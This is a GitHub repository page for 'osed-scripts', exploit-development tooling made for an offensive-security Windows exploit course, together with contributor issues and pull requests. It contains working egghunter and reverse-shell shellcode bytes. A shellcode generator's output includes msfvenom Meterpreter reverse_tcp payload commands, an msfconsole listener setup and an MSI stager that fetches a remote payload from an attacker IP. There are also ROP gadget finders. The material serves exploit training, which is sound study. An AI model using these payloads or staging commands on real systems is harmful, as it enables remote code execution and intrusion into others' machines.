bespoke tooling for offensive security's Windows Usermode Exploit Dev course (OSED)

Overview

osed-scripts

bespoke tooling for offensive security's Windows Usermode Exploit Dev course (OSED)

Table of Contents

Standalone Scripts

egghunter.py

requires keystone-engine

usage: egghunter.py [-h] [-t TAG] [-b BAD_CHARS [BAD_CHARS ...]] [-s]

Creates an egghunter compatible with the OSED lab VM

optional arguments:
  -h, --help            show this help message and exit
  -t TAG, --tag TAG     tag for which the egghunter will search (default: c0d3)
  -b BAD_CHARS [BAD_CHARS ...], --bad-chars BAD_CHARS [BAD_CHARS ...]
                        space separated list of bad chars to check for in final egghunter (default: 00)
  -s, --seh             create an seh based egghunter instead of NtAccessCheckAndAuditAlarm

generate default egghunter

./egghunter.py 
[+] egghunter created!
[=]   len: 35 bytes
[=]   tag: c0d3c0d3
[=]   ver: NtAccessCheckAndAuditAlarm

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x63\x30\x64\x33\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"

generate egghunter with w00tw00t tag

./egghunter.py --tag w00t
[+] egghunter created!
[=]   len: 35 bytes
[=]   tag: w00tw00t
[=]   ver: NtAccessCheckAndAuditAlarm

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"

generate SEH-based egghunter while checking for bad characters (does not alter the shellcode, that's to be done manually)

./egghunter.py -b 00 0a 25 26 3d --seh
[+] egghunter created!
[=]   len: 69 bytes
[=]   tag: c0d3c0d3
[=]   ver: SEH

egghunter = b"\xeb\x2a\x59\xb8\x63\x30\x64\x33\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3"

find-gadgets.py

Finds and categorizes useful gadgets. Only prints to terminal the cleanest gadgets available (minimal amount of garbage between what's searched for and the final ret instruction). All gadgets are written to a text file for further searching.

requires rich and ropper

usage: find-gadgets.py [-h] -f FILES [FILES ...] [-b BAD_CHARS [BAD_CHARS ...]] [-o OUTPUT]

Searches for clean, categorized gadgets from a given list of files

optional arguments:
  -h, --help            show this help message and exit
  -f FILES [FILES ...], --files FILES [FILES ...]
                        space separated list of files from which to pull gadgets (optionally, add base address (libspp.dll:0x10000000))
  -b BAD_CHARS [BAD_CHARS ...], --bad-chars BAD_CHARS [BAD_CHARS ...]
                        space separated list of bad chars to omit from gadgets (default: 00)
  -o OUTPUT, --output OUTPUT
                        name of output file where all (uncategorized) gadgets are written (default: found-gadgets.txt)

find gadgets in multiple files (one is loaded at a different offset than what the dll prefers) and omit 0x00 and 0xde from all gadgets

gadgets

shellcoder.py

requires keystone-engine

Creates reverse shell with optional msi loader

usage: shellcode.py [-h] [-l LHOST] [-p LPORT] [-b BAD_CHARS [BAD_CHARS ...]] [-m] [-d] [-t] [-s]

Creates shellcodes compatible with the OSED lab VM

optional arguments:
  -h, --help            show this help message and exit
  -l LHOST, --lhost LHOST
                        listening attacker system (default: 127.0.0.1)
  -p LPORT, --lport LPORT
                        listening port of the attacker system (default: 4444)
  -b BAD_CHARS [BAD_CHARS ...], --bad-chars BAD_CHARS [BAD_CHARS ...]
                        space separated list of bad chars to check for in final egghunter (default: 00)
  -m, --msi             use an msf msi exploit stager (short)
  -d, --debug-break     add a software breakpoint as the first shellcode instruction
  -t, --test-shellcode  test the shellcode on the system
  -s, --store-shellcode
                        store the shellcode in binary format in the file shellcode.bin
❯ python3 shellcode.py --msi -l 192.168.49.88 -s
[+] shellcode created! 
[=]   len:   251 bytes                                                                                            
[=]   lhost: 192.168.49.88
[=]   lport: 4444                                                                                                                                                                                                                    
[=]   break: breakpoint disabled                                                                                                                                                                                                     
[=]   ver:   MSI stager
[=]   Shellcode stored in: shellcode.bin
[=]   help:
         Create msi payload:
                 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.49.88 LPORT=443 -f msi -o X
         Start http server (hosting the msi file):
                 sudo python -m SimpleHTTPServer 4444 
         Start the metasploit listener:
                 sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.49.88; set LPORT 443; exploit"
         Remove bad chars with msfvenom (use --store-shellcode flag): 
                 cat shellcode.bin | msfvenom --platform windows -a x86 -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -f python -v shellcode

shellcode = b"\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x5e\x08\x8b\x7e\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06\x5e\x89\x75\x04\xeb\x54\xe8\xf5\xff\xff\xff\x60\x8b\x43\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x36\x49\x8b\x45\xfc\x8b\x34\x88\x01\xde\x31\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75\xdf\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61\xc3\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x10\x68\x8e\x4e\x0e\xec\xff\x55\x04\x89\x45\x14\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x72\x74\x2e\x64\x68\x6d\x73\x76\x63\x54\xff\x55\x14\x89\xc3\x68\xa7\xad\x2f\x69\xff\x55\x04\x89\x45\x18\x31\xc0\x66\xb8\x71\x6e\x50\x68\x2f\x58\x20\x2f\x68\x34\x34\x34\x34\x68\x2e\x36\x34\x3a\x68\x38\x2e\x34\x39\x68\x32\x2e\x31\x36\x68\x2f\x2f\x31\x39\x68\x74\x74\x70\x3a\x68\x2f\x69\x20\x68\x68\x78\x65\x63\x20\x68\x6d\x73\x69\x65\x54\xff\x55\x18\x31\xc9\x51\x6a\xff\xff\x55\x10"           
****

install-mona.sh

downloads all components necessary to install mona and prompts you to use an admin shell on the windows box to finish installation.

❯ ./install-mona.sh 192.168.XX.YY
[+] once the RDP window opens, execute the following command in an Administrator terminal:

powershell -c "cat \\tsclient\mona-share\install-mona.ps1 | powershell -"

[=] downloading https://github.com/corelan/windbglib/raw/master/pykd/pykd.zip
[=] downloading https://github.com/corelan/windbglib/raw/master/windbglib.py
[=] downloading https://github.com/corelan/mona/raw/master/mona.py
[=] downloading https://www.python.org/ftp/python/2.7.17/python-2.7.17.msi
[=] downloading https://download.microsoft.com/download/2/E/6/2E61CFA4-993B-4DD4-91DA-3737CD5CD6E3/vcredist_x86.exe
[=] downloading https://raw.githubusercontent.com/epi052/osed-scripts/main/install-mona.ps1
Autoselecting keyboard map 'en-us' from locale
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Failed to initialize NLA, do you have correct Kerberos TGT initialized ?
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Connection established using SSL.
Protocol(warning): process_pdu_logon(), Unhandled login infotype 1
Clipboard(error): xclip_handle_SelectionNotify(), unable to find a textual target to satisfy RDP clipboard text request

WinDbg Scripts

all windbg scripts require pykd

run .load pykd then !py c:\path\to\this\repo\script.py

find-ppr.py

Search for pop r32; pop r32; ret instructions by module name

!py find-ppr.py libspp diskpls

[+] diskpls::0x004313ad: pop ecx; pop ecx; ret
[+] diskpls::0x004313e3: pop ecx; pop ecx; ret
[+] diskpls::0x00417af6: pop ebx; pop ecx; ret
...
[+] libspp::0x1008a538: pop ebx; pop ecx; ret
[+] libspp::0x1008ae39: pop ebx; pop ecx; ret
[+] libspp::0x1008aebf: pop ebx; pop ecx; ret
...
Comments
  • Crash in WSAStartup (shellcoder.py)

    Crash in WSAStartup (shellcoder.py)

    Anyone else getting a crash in the shellcode generated by shellcoder.py (crash occurs in WSAStartup)...I am taking a closer look.

    ws2_32!WSAStartup+0x86: 75e99d46 668903 mov word ptr [ebx],ax ds:002b:ffb4f2d4=????

    My guess is that the undocumented WSAData (https://docs.microsoft.com/en-us/windows/win32/api/winsock/ns-winsock-wsadata) structure have changed. I'll try to compare the msf stagers with this shellcode to figure out whats broken.

    opened by pussinboots1992 4
  • rpp++ - missing macOS build

    rpp++ - missing macOS build

    The script assumes that its running on Linux, e.g. it downloads https://github.com/0vercl0k/rp/releases/download/v2-beta/rp-lin-x64

    Unfortunately, the updated https://github.com/0vercl0k/rp/tree/next branch does not have official macOS binaries. The old master branch is pretty outdated and lacks features.

    One solution could be to check the OS platform before download, and if it is macOS, use the macOS build. I can provide the binary if needed, and can be hosted in this repo.

    opened by Z6543 3
  • Enable specifying empty bad characters in find-gadget.py script

    Enable specifying empty bad characters in find-gadget.py script

    This enables specifying that no bad characters exist by providing no arguments to the -b flag, e.g.,

    $ python3 find-gadgets.py -f file.exe  -b
    

    Prior to this patch, specifying an empty bad characters list was not possible because -b expected at least one argument. Specifying -b "" would yield wrong results. For example:

    $ python3 find-gadgets.py -f QuoteDB.exe  -b ""
    
    ...
    [+] running '/home/kali/.local/bin/rp-lin-x64 -r5 -f QuoteDB.exe --unique --bad-bytes=\x'
    ...
    
    $ wc -l found-gadgets.txt                                        
    1032 found-gadgets.txt
    

    Note that rp-lin-x64 was invoked incorrectly with --bad-bytes=\x and only found 1032 gadgets. However, with this patch applied, 3081 gadgets are found:

    $ python3 find-gadgets.py -f QuoteDB.exe  -b
    
    [+] running '/home/kali/.local/bin/rp-lin-x64 -r5 -f QuoteDB.exe --unique'
    
    $ wc -l found-gadgets.txt                                           
    3081 found-gadgets.txt
    

    The QuoteDB.exe binary is from https://github.com/bmdyy/quote_db

    opened by GJL 2
  • Shellcode Generator

    Shellcode Generator

    Hi, I implemented a shellcode generator with the reverse shell from the course and a custom msi stager (this thing needs around 130 bytes less space). It is not super clean, but it works. I hope you like it and will accept the pull request ;)

    opened by matthiaskonrath 2
  • Change bad characters default value to empty list in find-gadget.py

    Change bad characters default value to empty list in find-gadget.py

    This supersedes Pull Request #20.

    This changes the default value of the -b/--bad-chars flag to an empty list (previously ["00"]).

    Prior to this patch, specifying an empty bad characters list was not possible because -b expected at least one argument. Specifying -b "" would yield wrong results. For example:

    $ python3 find-gadgets.py -f QuoteDB.exe  -b ""
    
    ...
    [+] running '/home/kali/.local/bin/rp-lin-x64 -r5 -f QuoteDB.exe --unique --bad-bytes=\x'
    ...
    
    $ wc -l found-gadgets.txt                                        
    1032 found-gadgets.txt
    

    Note that rp-lin-x64 was invoked incorrectly with --bad-bytes=\x and only found 1032 gadgets. However, with this patch applied, 3081 gadgets are found:

    $ python3 find-gadgets.py -f QuoteDB.exe
    
    [+] running '/home/kali/.local/bin/rp-lin-x64 -r5 -f QuoteDB.exe --unique'
    
    $ wc -l found-gadgets.txt                                           
    3081 found-gadgets.txt
    

    The QuoteDB.exe binary is from https://github.com/bmdyy/quote_db

    opened by GJL 1
  • Check if we are running within 32-bit python prior execution.

    Check if we are running within 32-bit python prior execution.

    In case of a misconfigured working environment, executing the script using Python 64-bit will raise OSError: exception: access violation writing when invoking RtlMoveMemory() API.

    ...
    [+] Debugging shellcode ...
    Traceback (most recent call last):
      File "C:\Users\tahai\code\osed-scripts\shellcoder.py", line 670, in <module>
        main(args)
      File "C:\Users\tahai\code\osed-scripts\shellcoder.py", line 597, in main
        ctypes.windll.kernel32.RtlMoveMemory(
    OSError: exception: access violation writing 0x00000000E3030000
    

    As a quick workaround we can add a check if test_shellcode parameter is set.

    opened by tahadraidia 1
  • Added tag validation

    Added tag validation

    In case the tag format is not conform, the default one c0d3 would be used instead. This would also avoid KS_ERR_ASM_INVALIDOPERAND exception to occur.

    opened by tahadraidia 1
  • Fix push_string in shellcoder.py that led to invalid opcodes

    Fix push_string in shellcoder.py that led to invalid opcodes

    Hey @epi052 ,

    This is a quick fix to shellcoder.py's --msi mode. Currently, if you try to execute it, you get an error:

    Traceback (most recent call last):
      File "/home/kali/Desktop/tools/osed-scripts/shellcoder.py", line 669, in <module>
        main(args)
      File "/home/kali/Desktop/tools/osed-scripts/shellcoder.py", line 538, in main
        encoding, count = eng.asm(shellcode)
      File "/home/kali/.local/lib/python3.9/site-packages/keystone/keystone.py", line 213, in asm
        raise KsError(errno, stat_count.value)
    keystone.keystone.KsError: Invalid operand (KS_ERR_ASM_INVALIDOPERAND)
    

    I've traced it to the fault instructions generated here:

       call_system:                         
           xor eax, eax                    ;
           push eax                        ;
    mov al, 0x;push eax;mov ax, 0x;push ax;push dword 0x6e712f20;push dword 0x582f3434;push dword 0x34343a31;push dword 0x39312e39;push dword 0x33322e38;push dword 0x36312e32;push dword 0x39312f2f;push dword 0x3a707474;push dword 0x6820692f;push dword 0x20636578;push dword 0x6569736d;
    

    Notice mov al, 0x are invalid instructions. These were generated by push_string function at this branch:

    for i in range(rev_hex_payload_len, 0, -1):
            # add every 4 byte (8 chars) to one push statement
            if ((i != 0) and ((i % 8) == 0)):
                target_bytes = rev_hex_payload[i-8:i]
                instructions.append(f"push dword 0x{target_bytes[6:8] + target_bytes[4:6] + target_bytes[2:4] + target_bytes[0:2]};")
            # handle the left ofer instructions
            elif ((0 == i-1) and ((i % 8) != 0) and rev_hex_payload_len != 8):
                if (rev_hex_payload_len % 8 == 2):
                    first_instructions.append(f"mov al, 0x{rev_hex_payload[(rev_hex_payload_len - (rev_hex_payload_len%8)):]};")
                    first_instructions.append("push eax;")
                elif (rev_hex_payload_len % 8 == 4):
                    target_bytes = rev_hex_payload[(rev_hex_payload_len - (rev_hex_payload_len%8)):]
                    first_instructions.append(f"mov ax, 0x{target_bytes[2:4] + target_bytes[0:2]};")
                    first_instructions.append("push eax;")
                else:
                    target_bytes = rev_hex_payload[(rev_hex_payload_len - (rev_hex_payload_len%8)):]
                    first_instructions.append(f"mov al, 0x{target_bytes[4:6]};")
                    first_instructions.append("push eax;")
                    first_instructions.append(f"mov ax, 0x{target_bytes[2:4] + target_bytes[0:2]};")
                    first_instructions.append("push ax;")
                null_terminated = True
    

    Presumably, the check elif ((0 == i-1) and ((i % 8) != 0) and rev_hex_payload_len != 8) is meant to catch strings of length multiple 8 and thus do not have any left over instructions. However, rev_hex_payload_len != 8 only catches the case 8, when it should be (rev_hex_payload_len % 8) != 0 to catch all multiples of 8. This led to the invalid opcodes being generated.

    With this one liner change, the --msi generation now works properly. I've re-tested both generation modes to ensure they still work on Windows as expected.

    Thanks!

    opened by spaceraccoon 1
  • Add --bad and --modules Argument to find-ppr.py

    Add --bad and --modules Argument to find-ppr.py

    Hey @epi052 !

    I noticed the find_ppr script has a hard coded set of BADCHARS, which might not be applicable to all targets. Rather than manually modifying it each time, I made badchars a command-line argument so it can be set dynamically. Additionally, I moved modules from a positional argument to a flag in order to support this. The new usage is:

    find-ppr.py [-h] [-s] [-b BAD [BAD ...]] -m MODULES [MODULES ...]
    

    Hope this is useful, thanks!

    opened by spaceraccoon 1
  • Restyle Fix push_string in shellcoder.py that led to invalid opcodes

    Restyle Fix push_string in shellcoder.py that led to invalid opcodes

    A duplicate of #15 with additional commits that automatically address incorrect style, created by Restyled.

    :warning: Even though this PR is not a Fork, it contains outside contributions. Please review accordingly.

    Since the original Pull Request was opened as a fork in a contributor's repository, we are unable to create a Pull Request branching from it with only the style fixes.

    The following Restylers made fixes:

    To incorporate these changes, you can either:

    1. Merge this Pull Request instead of the original, or

    2. Ask your contributor to locally incorporate these commits and push them to the original Pull Request

      Expand for example instructions
      ```console
      git remote add upstream https://github.com/epi052/osed-scripts.git
      git fetch upstream pull/<this PR number>/head
      git merge --ff-only FETCH_HEAD
      git push
      ```
      

    NOTE: As work continues on the original Pull Request, this process will re-run and update (force-push) this Pull Request with updated style fixes as necessary. If the style is fixed manually at any point (i.e. this process finds no fixes to make), this Pull Request will be closed automatically.

    Sorry if this was unexpected. To disable it, see our documentation.

    opened by restyled-io[bot] 0
  • Restyle Add --bad and --modules Argument to find-ppr.py

    Restyle Add --bad and --modules Argument to find-ppr.py

    A duplicate of #13 with additional commits that automatically address incorrect style, created by Restyled.

    :warning: Even though this PR is not a Fork, it contains outside contributions. Please review accordingly.

    Since the original Pull Request was opened as a fork in a contributor's repository, we are unable to create a Pull Request branching from it with only the style fixes.

    The following Restylers made fixes:

    To incorporate these changes, you can either:

    1. Merge this Pull Request instead of the original, or

    2. Ask your contributor to locally incorporate these commits and push them to the original Pull Request

      Expand for example instructions
      ```console
      git remote add upstream https://github.com/epi052/osed-scripts.git
      git fetch upstream pull/<this PR number>/head
      git merge --ff-only FETCH_HEAD
      git push
      ```
      

    NOTE: As work continues on the original Pull Request, this process will re-run and update (force-push) this Pull Request with updated style fixes as necessary. If the style is fixed manually at any point (i.e. this process finds no fixes to make), this Pull Request will be closed automatically.

    Sorry if this was unexpected. To disable it, see our documentation.

    opened by restyled-io[bot] 0
  • String To Little Endian Shellcode Generator

    String To Little Endian Shellcode Generator

    Usage: python string-to-shellcode.py

    The last step ("push esp") is to push the pointer pointing to the created string to the stack, just pop to another registry if temporary storage is needed.

    Reference: https://github.com/tyhk/String-Shellcode-Generator

    opened by tyhk 1
Owner
epi
epi
Tooling for the Common Objects In 3D dataset.

CO3D: Common Objects In 3D This repository contains a set of tools for working with the Common Objects in 3D (CO3D) dataset. Download the dataset The

Facebook Research 724 Jan 6, 2023
Tooling for converting STAC metadata to ODC data model

Tooling for converting STAC metadata to ODC data model.

Open Data Cube 65 Dec 20, 2022
Tooling for GANs in TensorFlow

TensorFlow-GAN (TF-GAN) TF-GAN is a lightweight library for training and evaluating Generative Adversarial Networks (GANs). Can be installed with pip

null 803 Dec 24, 2022
All course materials for the Zero to Mastery Deep Learning with TensorFlow course.

All course materials for the Zero to Mastery Deep Learning with TensorFlow course.

Daniel Bourke 3.4k Jan 7, 2023
This reporistory contains the test-dev data of the paper "xGQA: Cross-lingual Visual Question Answering".

This reporistory contains the test-dev data of the paper "xGQA: Cross-lingual Visual Question Answering".

AdapterHub 18 Dec 9, 2022
The official implementation of You Only Compress Once: Towards Effective and Elastic BERT Compression via Exploit-Explore Stochastic Nature Gradient.

You Only Compress Once: Towards Effective and Elastic BERT Compression via Exploit-Explore Stochastic Nature Gradient (paper) @misc{zhang2021compress,

null 46 Dec 7, 2022
Exploit Camera Raw Data for Video Super-Resolution via Hidden Markov Model Inference

RawVSR This repo contains the official codes for our paper: Exploit Camera Raw Data for Video Super-Resolution via Hidden Markov Model Inference Xiaoh

Xiaohong Liu 23 Oct 8, 2022
Wanli Li and Tieyun Qian: Exploit a Multi-head Reference Graph for Semi-supervised Relation Extraction, IJCNN 2021

MRefG Wanli Li and Tieyun Qian: "Exploit a Multi-head Reference Graph for Semi-supervised Relation Extraction", IJCNN 2021 1. Requirements To reproduc

万理 5 Jul 26, 2022
Repository of Jupyter notebook tutorials for teaching the Deep Learning Course at the University of Amsterdam (MSc AI), Fall 2020

Repository of Jupyter notebook tutorials for teaching the Deep Learning Course at the University of Amsterdam (MSc AI), Fall 2020

Phillip Lippe 1.1k Jan 7, 2023
Deep Probabilistic Programming Course @ DIKU

Deep Probabilistic Programming Course @ DIKU

null 52 May 14, 2022
Udacity Suse Cloud Native Foundations Scholarship Course Walkthrough

SUSE Cloud Native Foundations Scholarship Udacity is collaborating with SUSE, a global leader in true open source solutions, to empower developers and

Shivansh Srivastava 34 Oct 18, 2022
Jittor Medical Segmentation Lib -- The assignment of Pattern Recognition course (2021 Spring) in Tsinghua University

THU模式识别2021春 -- Jittor 医学图像分割 模型列表 本仓库收录了课程作业中同学们采用jittor框架实现的如下模型: UNet SegNet DeepLab V2 DANet EANet HarDNet及其改动HarDNet_alter PSPNet OCNet OCRNet DL

null 48 Dec 26, 2022
System Design course at HSE (2021)

System Design course at HSE (2021) Wiki-страница курса Структура репозитория: slides - директория с презентациями с занятий tasks - материалы для выпо

null 22 Dec 25, 2022
Material related to the Principles of Cloud Computing course.

CloudComputingCourse Material related to the Principles of Cloud Computing course. This repository comprises material that I use to teach my Principle

Aniruddha Gokhale 15 Dec 2, 2022
Everything about being a TA for ITP/AP course!

تی‌ای بودن! تی‌ای یا دستیار استاد از نقش‌های رایج بین دانشجویان مهندسی است، این ریپوزیتوری قرار است نکات مهم درمورد تی‌ای بودن و تی ای شدن را به ما نش

CE@SBU 14 Sep 10, 2022
Code for the AI lab course 2021/2022 of the University of Verona

AI-Lab Code for the AI lab course 2021/2022 of the University of Verona Set-Up the environment for the curse Download Anaconda for your System. Instal

Davide Corsi 5 Oct 19, 2022
A short code in python, Enchpyter, is able to encrypt and decrypt words as you determine, of course

Enchpyter Enchpyter is a program do encrypt and decrypt any word you want (just letters). You enter how many letters jumps and write the word, so, the

João Assalim 2 Oct 10, 2022
Computer Vision Script to recognize first person motion, developed as final project for the course "Machine Learning and Deep Learning"

Overview of The Code BaseColab/MLDL_FPAR.pdf: it contains the full explanation of our work Base Colab: it contains the base colab used to perform all

Simone Papicchio 4 Jul 16, 2022
The second project in Python course on FCC

Assignment Write a function named add_time that takes in two required parameters and one optional parameter: a start time in the 12-hour clock format

Denise T 1 Dec 13, 2021